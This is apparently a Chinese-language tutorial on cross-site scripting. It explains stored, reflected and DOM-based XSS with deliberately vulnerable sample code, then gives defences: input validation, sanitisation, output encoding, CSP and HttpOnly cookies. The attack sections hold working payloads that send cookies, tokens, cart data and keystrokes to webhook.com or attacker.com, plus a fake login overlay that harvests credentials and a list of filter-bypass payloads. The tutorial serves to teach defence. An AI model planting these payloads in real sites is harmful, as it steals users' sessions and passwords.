XSS (Cross-Site Scripting) 是一種網頁安全漏洞,允許攻擊者注入惡意腳本到網頁中,進而在其他使用者的瀏覽器上執行。


漏洞實現

Stored 儲存型 XSS

這邊舉個簡單的留言板當作舉例,通常都有網購看評價的經驗吧\owo/

<form action="/submit" method="post">
  <input type="text" name="review" placeholder="幫商品留下評價吧!">
  <input type="submit" value="送出">
</form>
@app.route('/submit', methods=['POST'])
def submit_message():
    review = request.form['review']
    # 儲存 review 到資料庫中,這邊 code 我就亂打,看得懂概念就行
    review_db.append(review)
    return redirect('/')
<!-- 顯示所有留言 -->
{% for rev in review %}
  <p>{{ rev }}</p>
{% endfor %}

所以我今天如果滿肚子壞水的在評論區輸入下方程式碼的話,每個只要載入我留言的人就會被 Rickroll XD (location.href 代表者將網址重定位,JS 語法)

<script>location.href="https://www.youtube.com/watch?v=dQw4w9WgXcQ"</script>

當然這樣看起來還好,但如果今天我帶入的內容是像下面這串,我就可以把你的 cookie 透過 webhook 等方式傳來給我,我就可以來做壞壞的事情(登入、分析日常習慣等)

location.href="https://webhook.com?cookie="+document.cookie;

可以在 Cookie 中加上 HttpOnly 來去禁止非伺服器之外其他來源取用 Cookie,有興趣可以參考這裡

Reflected 反射型 XSS

你可以直接點點看這個網站,反射型 XSS 通常會直接將參數藏在網址參數中,再透過各種方式讓被害人無意間點進去。

假設我們有一個搜尋頁面:

// 易受攻擊的搜尋頁面
<?php
$search_term = $_GET['q'];
echo "<h2>搜尋結果:" . $search_term . "</h2>";
?>

攻擊者可以製造惡意連結:

https://example.com/search.php?q=<script>alert('XSS攻擊成功!')</script>

當使用者點擊這個連結時,腳本會立即執行。更危險的例子:

https://example.com/search.php?q=<script>
  // 竊取使用者 token 並發送到攻擊者的伺服器
  fetch('https://attacker.com/steal.php?token=' + localStorage.getItem('authToken'));
</script>

DOM-based XSS

DOM-based XSS 是透過修改頁面的 DOM 環境來執行攻擊,常見於前端 JavaScript 處理用戶輸入時:

<!-- 易受攻擊的前端代碼 -->
<script>
  // 從 URL 取得參數並直接插入 DOM
  const urlParams = new URLSearchParams(window.location.search);
  const welcome = urlParams.get('name');
  document.getElementById('welcome').innerHTML = '歡迎,' + welcome + '!';
</script>
<div id="welcome"></div>

攻擊者可以使用這樣的 URL:

https://example.com/welcome.html?name=<img src=x onerror=alert('DOM XSS')>

真實世界的 XSS 攻擊案例

案例 1:社群媒體平台

// 攻擊者在個人簡介中插入惡意腳本
<script>
  // 自動發送垃圾訊息給所有朋友
  fetch('/api/send-message', {
    method: 'POST',
    body: JSON.stringify({
      message: '點擊這個連結獲得免費禮品!',
      recipients: 'all_friends'
    })
  });
</script>

案例 2:電商網站評論區

<!-- 看似無害的評論,實際包含惡意腳本 -->
這個商品很棒!<img src="x" onerror="
  // 竊取購物車資訊
  const cart = JSON.parse(localStorage.getItem('cart'));
  fetch('https://attacker.com/steal-cart.php', {
    method: 'POST',
    body: JSON.stringify(cart)
  });
">

進階 XSS 攻擊技巧

繞過過濾器的技巧

很多網站會過濾 <script> 標籤,但攻擊者有很多繞過方法:

<!-- 使用事件處理器 -->
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>

<!-- 使用 SVG -->
<svg onload=alert('XSS')>

<!-- 使用 iframe -->
<iframe src="javascript:alert('XSS')"></iframe>

<!-- 大小寫混合繞過 -->
<ScRiPt>alert('XSS')</ScRiPt>

<!-- 使用編碼 -->
<script>alert(String.fromCharCode(88,83,83))</script>

<!-- 使用 data URI -->
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>

鍵盤記錄器

// 記錄使用者所有按鍵
document.addEventListener('keypress', function(e) {
    fetch('https://attacker.com/log.php?key=' + e.key);
});

偽造登入表單

<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">
  <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;">
    <h3>會話已過期,請重新登入</h3>
    <form action="https://attacker.com/steal.php" method="post">
      <input type="text" name="username" placeholder="帳號" required>
      <input type="password" name="password" placeholder="密碼" required>
      <input type="submit" value="登入">
    </form>
  </div>
</div>

如何防制

防制 XSS 最好的方法,就是 “Never Trust User Input(永遠不相信用戶輸入)",這邊的輸入不只包含表單輸入,還有網址帶的參數等等

1. 輸入輸出驗證

透過 Regex 等公式檢視該輸入是否合法:

import re

def validate_input(user_input):
    # 只允許字母、數字、空格和基本標點符號
    pattern = r'^[a-zA-Z0-9\s\.,!?-]*$'
    if re.match(pattern, user_input):
        return True
    return False

# 使用範例
user_comment = request.form['comment']
if not validate_input(user_comment):
    return "無效的輸入!", 400
// 前端驗證範例
function validateInput(input) {
    const dangerousChars = /<|>|script|javascript|on\w+=/i;
    return !dangerousChars.test(input);
}

2. HTML Sanitization(淨化)

透過套件分析,來去除可能造成 XSS 等程式碼,並且保留原本文字輸出:

Python 範例 (使用 bleach)

import bleach

# 定義允許的標籤和屬性
allowed_tags = ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li']
allowed_attributes = {}

def sanitize_html(dirty_html):
    clean_html = bleach.clean(dirty_html, 
                             tags=allowed_tags, 
                             attributes=allowed_attributes,
                             strip=True)
    return clean_html

# 使用範例
user_input = "<script>alert('XSS')</script><p>正常的內容</p>"
safe_output = sanitize_html(user_input)  # 輸出: "<p>正常的內容</p>"

JavaScript 範例 (使用 DOMPurify)

// 安裝: npm install dompurify
import DOMPurify from 'dompurify';

function sanitizeHTML(dirty) {
    return DOMPurify.sanitize(dirty, {
        ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
        ALLOWED_ATTR: []
    });
}

3. 輸出編碼(Output Encoding)

根據輸出的上下文選擇適當的編碼方式:

import html

# HTML 內容編碼
def html_encode(text):
    return html.escape(text)

# 使用範例
user_input = "<script>alert('XSS')</script>"
safe_output = html_encode(user_input)  # 輸出: "&lt;script&gt;alert('XSS')&lt;/script&gt;"
// JavaScript 中的編碼
function htmlEncode(str) {
    return str.replace(/[&<>"']/g, function(match) {
        const escapeMap = {
            '&': '&amp;',
            '<': '&lt;',
            '>': '&gt;',
            '"': '&quot;',
            "'": '&#x27;'
        };
        return escapeMap[match];
    });
}

4. 設定 CSP Header

Content Security Policy 可以有效限制外部腳本運行:

# 基本 CSP 設定
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';

# 更嚴格的設定
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data: https:;

在不同框架中設定 CSP

Flask 範例

from flask import Flask, Response

app = Flask(__name__)

@app.after_request
def set_csp(response):
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'"
    return response

Express.js 範例

const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", "data:", "https:"]
    }
}));

5. 使用安全的模板引擎

現代模板引擎通常有內建的 XSS 防護:

Django 範例

<!-- Django 模板預設會自動轉義 -->
<p>{{ user_comment }}</p>  <!-- 安全 -->
<p>{{ user_comment|safe }}</p>  <!-- 危險!只在確定安全時使用 -->

Jinja2 範例

<!-- Jinja2 也會自動轉義 -->
<p>{{ user_comment }}</p>  <!-- 安全 -->
<p>{{ user_comment|safe }}</p>  <!-- 危險! -->

防止透過 XSS 竊取 Cookie:

# Flask 範例
from flask import Flask, session

app = Flask(__name__)
app.config.update(
    SESSION_COOKIE_HTTPONLY=True,  # 防止 JavaScript 存取
    SESSION_COOKIE_SECURE=True,    # 只在 HTTPS 傳輸
    SESSION_COOKIE_SAMESITE='Strict'  # 防止 CSRF
)
// Express.js 範例
app.use(session({
    cookie: {
        httpOnly: true,
        secure: true,
        sameSite: 'strict'
    }
}));

7. 實際的防護檢查清單

開發階段

  • 所有用戶輸入都經過驗證
  • 使用參數化查詢(防止 SQL 注入)
  • 輸出時進行適當編碼
  • 設定 CSP header
  • Cookie 設定 HttpOnly 和 Secure
  • 使用最新版本的框架和套件

測試階段

# 使用 OWASP ZAP 進行自動化測試
docker run -t owasp/zap2docker-stable zap-baseline.py -t http://your-website.com

# 手動測試常見 payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
javascript:alert('XSS')

部署階段

  • Web 伺服器設定安全 headers
  • 啟用 HTTPS
  • 定期更新依賴套件
  • 監控異常活動

8. 現代防護工具推薦

靜態分析工具

# ESLint 安全規則
npm install eslint-plugin-security

# Python bandit
pip install bandit
bandit -r your_project/

執行時防護

// 使用 Trusted Types API (現代瀏覽器)
if (window.trustedTypes && trustedTypes.createPolicy) {
    const policy = trustedTypes.createPolicy('myPolicy', {
        createHTML: (input) => {
            // 在這裡實作你的淨化邏輯
            return DOMPurify.sanitize(input);
        }
    });
    
    element.innerHTML = policy.createHTML(userInput);
}

Reference